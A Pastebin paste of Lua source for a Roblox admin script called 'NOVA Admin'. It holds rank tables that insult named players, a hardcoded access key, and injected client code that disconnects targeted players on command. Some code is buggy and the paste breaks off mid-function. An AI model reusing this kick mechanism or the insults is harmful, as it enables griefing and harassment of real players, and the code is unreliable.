Advertisement
Darksoul6654

Untitled

Aug 1st, 2016
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 192.76 KB | None | 0 0
  1. Glue") -- Stuck!
  2. NOVA ={
  3. BadPhrases = true;
  4. Bet = "/";
  5. Services = {
  6. Game = game;
  7. RunService = game:GetService("RunService");
  8. Workspace = game:GetService("Workspace");
  9. Lighting = game:GetService("Lighting");
  10. Debris = game:GetService("Debris");
  11. Players = game:GetService("Players");
  12. Teams = game:GetService("Teams");
  13. SoundService = game:GetService("SoundService");
  14. ScriptContext = game:GetService("ScriptContext");
  15. NetworkServer = game:GetService("NetworkServer");
  16. StarterGui = game:GetService("StarterGui");
  17. StarterPack = game:GetService("StarterPack");
  18. };
  19. Ranks = {
  20. {-2,"Lagged"}; -- -2
  21. {-1,"Banned"}; -- -1
  22. {-0.5,"Scum"};
  23. {0,"Guest"}; -- 0
  24. {1,"Mod"}; -- 1
  25. {2,"Admin"}; -- 2
  26. {3,"Developer"}; -- 3
  27. {4,"Omega Admin"}; -- 4
  28. {5,"Overlord"}; -- 5
  29. {6,"OP ( Operator )"}; -- 6
  30. {7,"Creator"}; -- 7
  31. {8,"ROOT"}; -- 8
  32. };
  33. Alphabet = {
  34. "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
  35. };
  36. Ranked = {
  37. {Name = "Darksoul6654", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
  38. {Name = "Darksoul6654", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"};
  39. {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
  40. {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
  41. {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Nub"};
  42. {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"};
  43. {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"};
  44.  
  45. };
  46. Credit = {
  47. {Name = "NetworkClient",Why = "for the tablet function."};
  48. {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  49. {Name = "upquark",Why = "For being a great person in life."};
  50. {Name = "toshir0z",Why = "For teaching me time control."};
  51. {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  52. };
  53. Animations = {
  54. {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
  55. };
  56. Colors = {
  57. Red = Color3.new(1,0,0);
  58. PinkRed = Color3.new(1,0,0.15);
  59. Orange = Color3.new(1,0.5,0);
  60. Yellow = Color3.new(1,1,0);
  61. Green = Color3.new(0,1,0);
  62. Blue = Color3.new(0,0,1);
  63. LightBlue = Color3.new(0,1,1);
  64. Pink = Color3.new(1,0,1);
  65. Magenta = Color3.new(0.54,0,0.54);
  66. White = Color3.new(1,1,1);
  67. Grey = Color3.new(0.5,0.5,0.5);
  68. Black = Color3.new(0,0,0);
  69. };
  70. Sounds = {
  71. Sound = Instance.new("Sound");
  72. Numbers = { -- one to five ( top to bottom )
  73. "http://www.roblox.com/Asset/?id=29445305",
  74. "http://www.roblox.com/Asset/?id=29445339",
  75. "http://www.roblox.com/Asset/?id=29445358",
  76. "http://www.roblox.com/Asset/?id=29445378",
  77. "http://www.roblox.com/Asset/?id=29445395",
  78. };
  79. PlayAfter = {
  80. "http://www.roblox.com/Asset/?id=2767090",
  81. "http://www.roblox.com/Asset/?id=2800815",
  82. "http://www.roblox.com/Asset/?id=2801263",
  83. "http://www.roblox.com/Asset/?id=11984254",
  84. "http://www.roblox.com/Asset/?id=2101159",
  85. "http://www.roblox.com/Asset/?id=3087031",
  86. "http://www.roblox.com/Asset/?id=2101148",
  87. "http://www.roblox.com/Asset/?id=2233908",
  88. "http://www.roblox.com/Asset/?id=16976189",
  89. "http://www.roblox.com/Asset/?id=2101157",
  90. "http://www.roblox.com/Asset/?id=2974000",
  91. "http://www.roblox.com/Asset/?id=2703110",
  92. "http://www.roblox.com/Asset/?id=1994345",
  93. };
  94. };
  95. AncientRules = {
  96. "Thou shall not use forum scripts.",
  97. "Thou shall not use CamBall / CamSphere.",
  98. "Thou shall not use CBA.",
  99. "Thou shall not use RMDX's scripts.",
  100. "Thou shall not use antibans.",
  101. "Thou shall not abuse thou admin.",
  102. "Thou shall not steal scripts.",
  103. "Thou shall not trade scripts you didn't make.",
  104. "Thou shall not use gay scripts.",
  105. "Thou shall not abuse loopholes in the ancient rules.",
  106. };
  107. ChatFilters = {
  108. "mediafire",
  109. "shit",
  110. "gtfo",
  111. "password",
  112. "hitler",
  113. "vaginas",
  114. };
  115.  
  116. KillingPhrases = {
  117. "ssj",
  118. "yolo",
  119. "swag",
  120. };
  121. KickingPhrases = {
  122. "\"/down\"",
  123. "/down",
  124. "/hide",
  125. "rpe/",
  126. "antiban",
  127. "ab/",
  128. "camball.",
  129. "camball.came",
  130. "camball/",
  131. "camball /","deadfield","1waffle1",
  132. "cie camball",
  133. "d33k/",
  134. "pban/",
  135. "your own camball",
  136. "created by jordan88282",
  137. "v2 camball",
  138. "cba = {}",
  139. "cba.bet",
  140. "banmenu","adminlist",
  141. "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
  142. "cryston",
  143. "jordan88282", "eyeball","orb","kick/","owner","antikick",
  144. };
  145. PreviousDataKeys = {
  146. "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
  147. };
  148. LoadTime = {
  149. Start = tick(),
  150. Finish = tick(),
  151. };
  152. Fences = {};
  153. Jails = {};
  154. Objects = {};
  155. Commands = {};
  156. Tablets = {};
  157. Targeted = {};
  158. ExternalPlayersList = {};
  159. Waypoints = {};
  160. Log = {};
  161. LoggedScripts = {};
  162. PRI = false;
  163. LockedScripts = false;
  164. Removed = true;
  165. ShowChat = true;
  166. Canceled = false;
  167. Overrided = false;
  168. TimeChanged = false;
  169. TabletPositionRelative = false;
  170. AntiDLL = false;
  171. EnableGuests = true;
  172. UseGlobals = false;
  173. Overrider = nil;
  174. TabletRotation = 0;
  175. TabletRotationIncrease = 0.03;
  176. AccessKey = "13785(G*";
  177. Version = "6th Generation";
  178. DataKey = "Unlimited Gravity";
  179. PRIType = "Shutdown";
  180. LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  181. Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  182. Plugins = script:GetChildren()
  183. }
  184. --[[ PLAYER PLUGINS ]]--
  185. function UpdatePlayerPlugins()
  186. if NOVA.AntiDLL == true then PlayerPlugins = [==[
  187. script.Parent = nil
  188. LocalPlayer = game:GetService("Players").LocalPlayer
  189.  
  190. game:GetService("Selection").SelectionChanged:connect(function()
  191. if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  192. LocalPlayer.Parent = nil
  193. LocalPlayer.Parent = game:GetService("Players")
  194. end
  195. end)
  196. coroutine.resume(coroutine.create(function()
  197. while wait() do
  198. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  199. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  200. LocalPlayer.Parent = nil
  201. LocalPlayer.Parent = game:GetService("Players")
  202. end
  203. end
  204. end))
  205. ]==]
  206. else
  207. PlayerPlugins = [==[
  208. script.Parent = nil
  209. LocalPlayer = game:GetService("Players").LocalPlayer
  210.  
  211. coroutine.resume(coroutine.create(function()
  212. while wait() do
  213. if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  214. workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  215. LocalPlayer.Parent = nil
  216. LocalPlayer.Parent = game:GetService("Players")
  217. end
  218. end
  219. end))
  220. ]==]
  221. end
  222. end
  223. function Color()
  224. local Choice = math.random(1, 5)
  225. if Choice == 1 then
  226. return "Institutional white"
  227. elseif Choice == 2 then
  228. return "White"
  229. elseif Choice == 3 then
  230. return "Really red"
  231. elseif Choice == 4 then
  232. return "New Yeller"
  233. elseif Choice == 5 then
  234. return "Black"
  235. end
  236. end
  237. --[[ PSEUDO FUNCTIONS ]]--
  238. function CreateLocalScript(Source, Parent)
  239. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  240. newLocalScript(Source, Parent)
  241. elseif game.PlaceId == 23232804 then
  242. NewLocalScript(Source, Parent)
  243. elseif NOVA.LocalScript ~= nil then
  244. NS = NOVA.LocalScript:Clone()
  245. NS.Name = "LocalScript"
  246. pcall(function() NS:ClearAllChildren() end)
  247. NewSource = Instance.new("StringValue",NS)
  248. NewSource.Name = "Source"
  249. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  250. NewSource.Name = "DSource"
  251. end
  252. NewSource.Value = Source
  253. NS.Parent = Parent
  254. NS.Disabled = false
  255. else
  256. print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  257. end
  258. end
  259.  
  260. function CreateScript(Source, Parent)
  261. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  262. newScript(Source, Parent)
  263. elseif game.PlaceId == 23232804 then
  264. NewScript(Source, Parent)
  265. elseif NOVA.Script ~= nil then
  266. NS = NOVA.Script:Clone()
  267. NS.Name = "Script"
  268. pcall(function() NS:ClearAllChildren() end)
  269. NewSource = Instance.new("StringValue",NS)
  270. NewSource.Name = "Source"
  271. NewSource.Value = Source
  272. NS.Parent = Parent
  273. NS.Disabled = false
  274. else
  275. print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  276. end
  277. end
  278.  
  279. function IsTargeted(Player)
  280. if type(Player) == "string" then
  281. for _,v in pairs(NOVA.Targeted) do
  282. if v.Name == Player then
  283. return true
  284. end
  285. end
  286. elseif type(Player) == "userdata" then
  287. for _,v in pairs(NOVA.Targeted) do
  288. if Player == v then
  289. return true
  290. end
  291. end
  292. else
  293. print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  294. end
  295. return false
  296. end
  297.  
  298. --[[ DATA PERSISTANCE ]]--
  299. --[[ SYNC RANKS IN ]]--
  300. function SyncRanksIn()
  301. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  302. SyncRankInSingular(v)
  303. end
  304. end
  305. --[[ SYNC RANK IN SINGULAR ]]--
  306. function SyncRankInSingular(v)
  307. if type(v) ~= "userdata" then
  308. print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  309. return
  310. end
  311. coroutine.resume(coroutine.create(function()
  312. repeat wait() until v.DataReady == true
  313.  
  314. if GetRankedTable(v) == nil then
  315. table.insert(NOVA.Ranked,{
  316. Name = v.Name,
  317. CMD = false,
  318. Rank = 0,
  319. Color = NOVA.Colors.Orange,
  320. Desc = "N/A",
  321. Complaints = Instance.new("Model"),
  322. Executeables = Instance.new("Model"),
  323. })
  324. end
  325.  
  326. local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  327. local Data = GetRankedTable(v)
  328.  
  329. if PhysicalData == nil then
  330. Data.Name = v.Name
  331. Data.CMD = false
  332. Data.Rank = 0
  333. Data.Color = NOVA.Colors.Orange
  334. Data.Desc = "N/A"
  335. Data.Complaints = Instance.new("Model")
  336. Data.Executeables = Instance.new("Model")
  337. elseif PhysicalData ~= nil then
  338. pcall(function() Data.Name = v.Name end)
  339. pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  340. pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  341. pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  342. pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  343. pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  344. pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  345. if Data.CMD == nil then Data.CMD = false end
  346. if Data.Rank == nil then Data.Rank = 0 end
  347. if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  348. if Data.Desc == nil then Data.Desc = "N/A" end
  349. if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  350. if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  351. end
  352. end))
  353. end
  354.  
  355. --[[ SYNC RANKS OUT ]]--
  356. function SyncRanksOut()
  357. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  358. SyncRankOutSingular(v)
  359. end
  360. end
  361.  
  362. --[[ SYNC RANK OUT SINGULAR ]]--
  363. function SyncRankOutSingular(v)
  364. coroutine.resume(coroutine.create(function()
  365. repeat wait() until v.DataReady == true
  366. local RankData = GetRankedTable(v)
  367. if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  368. local Data = Instance.new("Model")
  369. Data.Name = "PlayerData"
  370. local CMD = Instance.new("BoolValue",Data)
  371. CMD.Name = "CMD"
  372. CMD.Value = RankData.CMD
  373. local Rank = Instance.new("NumberValue",Data)
  374. Rank.Name = "RANK"
  375. Rank.Value = RankData.Rank
  376. local Color = Instance.new("Color3Value",Data)
  377. Color.Name = "COLOR"
  378. Color.Value = RankData.Color
  379. local Desc = Instance.new("StringValue",Data)
  380. Desc.Name = "DESCRIPTION"
  381. Desc.Value = RankData.Desc
  382. local Complaints = RankData.Complaints:Clone()
  383. Complaints.Name = "COMPLAINTS"
  384. local Executeables = RankData.Executeables:Clone()
  385. Executeables.Name = "EXECUTEABLES"
  386.  
  387. v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
  388. for _,v in pairs(NOVA.PreviousDataKeys) do
  389. v:SaveInstance(v,Data)
  390. end
  391. end))
  392. end
  393.  
  394. --[[ PLAYER INTERFACE ]]--
  395. function PlayerInterface(v,Speaker)
  396. RemoveTablets(Speaker)
  397. local Data = GetRankedTable(v)
  398. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  399. Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  400. Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  401. Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  402. Output("User Id : "..v.userId,Data.Color,Speaker)
  403. Output("Desc : "..Data.Desc,Data.Color,Speaker)
  404. Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  405. Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  406. if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  407. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  408. function()
  409. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  410.  
  411. end
  412. )
  413. end
  414. if GetRank(Speaker) > Data.Rank or v == Speaker then
  415. Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  416. function()
  417. RemoveTablets(Speaker)
  418. Output("True",NOVA.Colors.Green,Speaker,nil,
  419. function()
  420. Data.CMD = true
  421. SyncRankOutSingular(v)
  422. PlayerInterface(v,Speaker)
  423. end
  424. )
  425. Output("False",NOVA.Colors.Red,Speaker,nil,
  426. function()
  427. Data.CMD = false
  428. SyncRankOutSingular(v)
  429. PlayerInterface(v,Speaker)
  430. end
  431. )
  432. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  433. function()
  434. PlayerInterface(v,Speaker)
  435. end
  436. )
  437. Output("Dismiss",NOVA.Colors.Red,Speaker)
  438. end
  439. )
  440. end
  441. if GetRank(Speaker) > Data.Rank then
  442. Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  443. function()
  444. RemoveTablets(Speaker)
  445. for i,v in pairs(NOVA.Ranks) do
  446. if v[1] ~= 8 then
  447. Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  448. function()
  449. RemoveTablets(Speaker)
  450. Data.Rank = v[1]
  451. SyncRankOutSingular(v)
  452. PlayerInterface(v,Speaker)
  453. end
  454. )
  455. end
  456. end
  457. Output("Dismiss",NOVA.Colors.Red,Speaker)
  458. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  459. function()
  460. PlayerInterface(v,Speaker)
  461. end
  462. )
  463.  
  464. end
  465. )
  466. end
  467. if GetRank(Speaker) > Data.Rank or v == Speaker then
  468. Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  469. function()
  470. RemoveTablets(Speaker)
  471. for i,Color in pairs(NOVA.Colors) do
  472. Output(tostring(i),Color,Speaker,nil,
  473. function()
  474. Data.Color = Color
  475. PlayerInterface(v,Speaker)
  476. SyncRankOutSingular(v)
  477. end
  478. )
  479.  
  480. end
  481. Output("Back",NOVA.Colors.Blue,Speaker,nil,
  482. function()
  483. PlayerInterface(v,Speaker)
  484. end
  485. )
  486. Output("Dismiss",NOVA.Colors.Red,Speaker)
  487. end
  488. )
  489. end
  490. Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  491. function()
  492. RemoveTablets(Speaker)
  493. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  494. end
  495. )
  496. Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  497. function()
  498. RemoveTablets(Speaker)
  499. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  500. end
  501. )
  502. Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  503. function()
  504. RemoveTablets(Speaker)
  505. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  506. end
  507. )
  508. Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  509. function()
  510. RemoveTablets(Speaker)
  511. OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  512. end
  513. )
  514. Output("Dismiss",NOVA.Colors.Red,Speaker)
  515. end
  516.  
  517. --[[ MAKE HINT ]]--
  518.  
  519. function makeHint(Text,Parent)
  520. coroutine.resume(coroutine.create(function()
  521. local M = Instance.new("Hint",Parent)
  522. for i = 1, string.len(Text) do
  523. M.Text = M.Text .. string.sub(Text, i, i)
  524. wait(math.random() * 0.1)
  525. end
  526. M.Text = M.Text .. ""
  527. for i = 1, math.random(2, 6) do
  528. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  529. wait(0.4)
  530. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  531. wait(0.4)
  532. end
  533. M.Text = string.sub(M.Text, 1, string.len(Text))
  534. for i = 1, string.len(M.Text) do
  535. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  536. wait()
  537. end
  538. M:Remove()
  539. end))
  540. end
  541. function makeMessage(Text,Parent)
  542. coroutine.resume(coroutine.create(function()
  543. local M = Instance.new("Message",Parent)
  544. for i = 1, string.len(Text) do
  545. M.Text = M.Text .. string.sub(Text, i, i)
  546. wait(math.random() * 0.1)
  547. end
  548. M.Text = M.Text .. ""
  549. for i = 1, math.random(2, 6) do
  550. M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  551. wait(0.4)
  552. M.Text = string.sub(M.Text, 1, string.len(Text)) .. " "
  553. wait(0.4)
  554. end
  555. M.Text = string.sub(M.Text, 1, string.len(Text))
  556. for i = 1, string.len(M.Text) do
  557. M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  558. wait()
  559. end
  560. M:Remove()
  561. end))
  562. end
  563.  
  564. --[[ EXPLORE ]]--
  565. function Explore(Thing,Speaker)
  566. if Speaker == nil then
  567. print("[NOVA.Explore] Argument 1 missing or nil.")
  568. return
  569. end
  570. pcall(function()
  571. if Thing == game or Thing == nil then
  572. RemoveTablets(Speaker)
  573. for _,v in pairs(NOVA.Services) do
  574. Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  575. end
  576. Output("Dismiss",NOVA.Colors.Red,Speaker)
  577. else
  578. if #Thing:children() == 0 then
  579. RemoveTablets(Speaker)
  580. Explore(Thing.Parent.Parent,Speaker)
  581. else
  582. RemoveTablets(Speaker)
  583. for _,v in pairs(Thing:children()) do
  584. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  585. function()
  586. RemoveTablets(Speaker)
  587. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  588. Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  589. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  590. Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  591. Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  592. Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  593. Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  594. Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  595. Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  596. Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  597. Output("Dismiss",NOVA.Colors.Red,Speaker)
  598. end
  599. )
  600. end
  601. Output("Dismiss",NOVA.Colors.Red,Speaker)
  602. end
  603. end
  604. end)
  605. end
  606.  
  607. --[[ CAPE ]]--
  608. function Cape(v)
  609. local Mode = "None"
  610. local AngleX = 0
  611. pcall(function()
  612. v.Character.Swordpack:remove()
  613. end)
  614. pcall(function()
  615. v.Character["NOVA Cape"]:remove()
  616. end)
  617.  
  618. local Main = Instance.new("Model",v.Character)
  619. Main.Name = "NOVA Cape"
  620.  
  621. pcall(function()
  622. v.Character.Swordpack:Remove()
  623. end)
  624.  
  625. local Cape = Instance.new("Part", Main)
  626. Cape.Name = "Cape"
  627. Cape.Anchored = false
  628. Cape.Locked = true
  629. Cape.CanCollide = false
  630. Cape.formFactor = "Custom"
  631. Cape.Size = Vector3.new(2, 3.5, 0.2)
  632. Cape.BrickColor = BrickColor.new("Really black")
  633. Cape.TopSurface = 0
  634. Cape.BottomSurface = 0
  635. local Decal = Instance.new("Decal", Cape)
  636. Decal.Face = "Back"
  637. Decal.Texture = ""
  638. local CapeWeld = Instance.new("Weld", Cape)
  639. CapeWeld.Part0 = v.Character.Torso
  640. CapeWeld.Part1 = Cape
  641. CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  642. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  643. v.Character.Humanoid.Running:connect(function(Speed)
  644. if Speed > 0 then
  645. Mode = "Running"
  646. else
  647. Mode = "None"
  648. end
  649. end)
  650. v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  651. coroutine.wrap(function()
  652. while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  653. local UpSpeed = 2.5
  654. local DownSpeed = 5
  655. local TargetAngle = 5
  656. if Mode == "Running" then
  657. TargetAngle = 45 + math.random(0, 2500) / 100
  658. elseif Mode == "Jumping" then
  659. UpSpeed = 10
  660. DownSpeed = 10
  661. TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  662. end
  663. if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  664. if AngleX < TargetAngle then
  665. AngleX = AngleX + UpSpeed
  666. elseif AngleX > TargetAngle then
  667. AngleX = AngleX - DownSpeed
  668. end
  669. CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  670. wait()
  671. end
  672. end)()
  673.  
  674. local LShoulder = Instance.new("Part",Main)
  675. LShoulder.Name = "Left Shoulder"
  676. LShoulder.TopSurface = "Smooth"
  677. LShoulder.BottomSurface = "Smooth"
  678. LShoulder.FormFactor = "Custom"
  679. LShoulder.Size = Vector3.new(1,0.2,1)
  680. LShoulder.BrickColor = BrickColor.new("Really black")
  681. LShoulder.Anchored = false
  682. LShoulder.Locked = true
  683. LShoulder.CanCollide = false
  684. LShoulder.Transparency = 0
  685. LShoulder.Reflectance = 0
  686. local Weld = Instance.new("Motor6D",LShoulder)
  687. Weld.Part0 = LShoulder
  688. Weld.Part1 = v.Character["Left Arm"]
  689. Weld.C0 = CFrame.new(0,-1,0)
  690.  
  691. local RShoulder = Instance.new("Part",Main)
  692. RShoulder.Name = "Right Shoulder"
  693. RShoulder.TopSurface = "Smooth"
  694. RShoulder.BottomSurface = "Smooth"
  695. RShoulder.FormFactor = "Custom"
  696. RShoulder.Size = Vector3.new(1,0.2,1)
  697. RShoulder.BrickColor = BrickColor.new("Really black")
  698. RShoulder.Anchored = false
  699. RShoulder.Locked = true
  700. RShoulder.CanCollide = false
  701. RShoulder.Transparency = 0
  702. RShoulder.Reflectance = 0
  703. local Weld = Instance.new("Motor6D",RShoulder)
  704. Weld.Part0 = RShoulder
  705. Weld.Part1 = v.Character["Right Arm"]
  706. Weld.C0 = CFrame.new(0,-1,0)
  707.  
  708. local NeckFlat = Instance.new("Part",Main)
  709. NeckFlat.Name = "NeckFlat"
  710. NeckFlat.TopSurface = "Smooth"
  711. NeckFlat.BottomSurface = "Smooth"
  712. NeckFlat.FormFactor = "Custom"
  713. NeckFlat.Size = Vector3.new(2,0.2,1)
  714. NeckFlat.BrickColor = BrickColor.new("Really black")
  715. NeckFlat.Anchored = false
  716. NeckFlat.Locked = true
  717. NeckFlat.CanCollide = false
  718. NeckFlat.Transparency = 0
  719. NeckFlat.Reflectance = 0
  720. local Weld = Instance.new("Motor6D",NeckFlat)
  721. Weld.Part0 = NeckFlat
  722. Weld.Part1 = v.Character.Torso
  723. Weld.C0 = CFrame.new(0,-1,0)
  724.  
  725. for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  726.  
  727. end
  728.  
  729. --[[ GET SPLIT ]]--
  730. function GetSplit(Msg)
  731. Split = nil
  732. for i=1,100 do
  733. if string.sub(Msg,i,i) == NOVA.Bet then
  734. Split = i
  735. break
  736. end
  737. end
  738. return Split
  739. end
  740.  
  741. --[[ GET RANK ]]--
  742.  
  743. function GetRank(Player)
  744. Rtn = nil
  745. if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  746. return 8
  747. end
  748. if type(Player) == "userdata" then
  749. for _,v in pairs(NOVA.Ranked) do
  750. if v.Name:lower() == Player.Name:lower() then
  751. Rtn = v.Rank
  752. end
  753. end
  754. elseif type(Player) == "string" then
  755. for _,v in pairs(NOVA.Ranked) do
  756. if v.Name:lower() == Player:lower() then
  757. Rtn = v.Rank
  758. end
  759. end
  760. else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  761. end
  762. return Rtn
  763. end
  764.  
  765. --[[ GET RANK NAME ]]--
  766. function GetRankName(Player)
  767. if type(Player) == "userdata" or type(Player) == "string" then
  768. Rtn = nil
  769. Rank = GetRank(Player)
  770. for _,v in pairs(NOVA.Ranks) do
  771. if v[1] == Rank then
  772. Rtn = v[2]
  773. end
  774. end
  775. return Rtn
  776. else
  777. print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  778. return "NOT AVALIBLE"
  779. end
  780. end
  781.  
  782. --[[ GET RANKED TABLE ]]--
  783. function GetRankedTable(Player)
  784. Rtn = nil
  785. if type(Player) == "userdata" then
  786. for _,v in pairs(NOVA.Ranked) do
  787. if v.Name == Player.Name then
  788. Rtn = v
  789. end
  790. end
  791. elseif type(Player) == "string" then
  792. for _,v in pairs(NOVA.Ranked) do
  793. if v.Name == Player then
  794. Rtn = v
  795. end
  796. end
  797. else
  798. print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  799. end
  800. return Rtn
  801. end
  802.  
  803. --[[ GET RECURSIVE CHILDREN ]]--
  804. function GetRecursiveChildren(Source, Name, SearchType, Children)
  805. if Source == nil then
  806. Source = NOVA.Services
  807. end
  808. if Name == nil or type(Name) ~= "string" then
  809. Name = ""
  810. end
  811. if Children == nil or type(Children) ~= "table" then
  812. Children = {}
  813. end
  814. if type(Source) == "userdata" then
  815. pcall(function()
  816. for _, Child in pairs(Source:children()) do
  817. pcall(function()
  818. if (function()
  819. if SearchType == nil or SearchType == 1 then
  820. return string.match(Child.Name:lower(), Name:lower())
  821. elseif SearchType == 2 then
  822. return string.match(Child.className:lower(), Name:lower())
  823. elseif SearchType == 3 then
  824. return Child:IsA(Name) or Child:IsA(Name:lower())
  825. elseif SearchType == 4 then
